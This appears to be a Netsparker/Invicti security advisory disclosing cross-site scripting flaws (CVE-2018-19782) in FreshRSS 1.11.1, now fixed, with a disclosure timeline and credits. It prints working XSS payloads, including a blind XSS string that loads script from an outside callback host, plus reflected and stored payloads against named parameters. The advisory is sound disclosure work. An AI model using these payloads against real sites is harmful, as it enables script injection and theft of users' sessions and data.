Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS
Affected Software: FreshRSS
Affected Versions: 1.11.1
Homepage: https://freshrss.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID : CVE-2018-19782
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-024

Technical Details
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Blind Cross-site Scripting

URL  : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho&#46;r87&#46;me"></scRipt>  Parameter Name : a
Parameter Type  : GET
Attack Pattern  : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e

Stored Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=error  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>  

Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1  
Parameter Name  : c
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e  

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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12th November 2018- First Contact
28th November 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.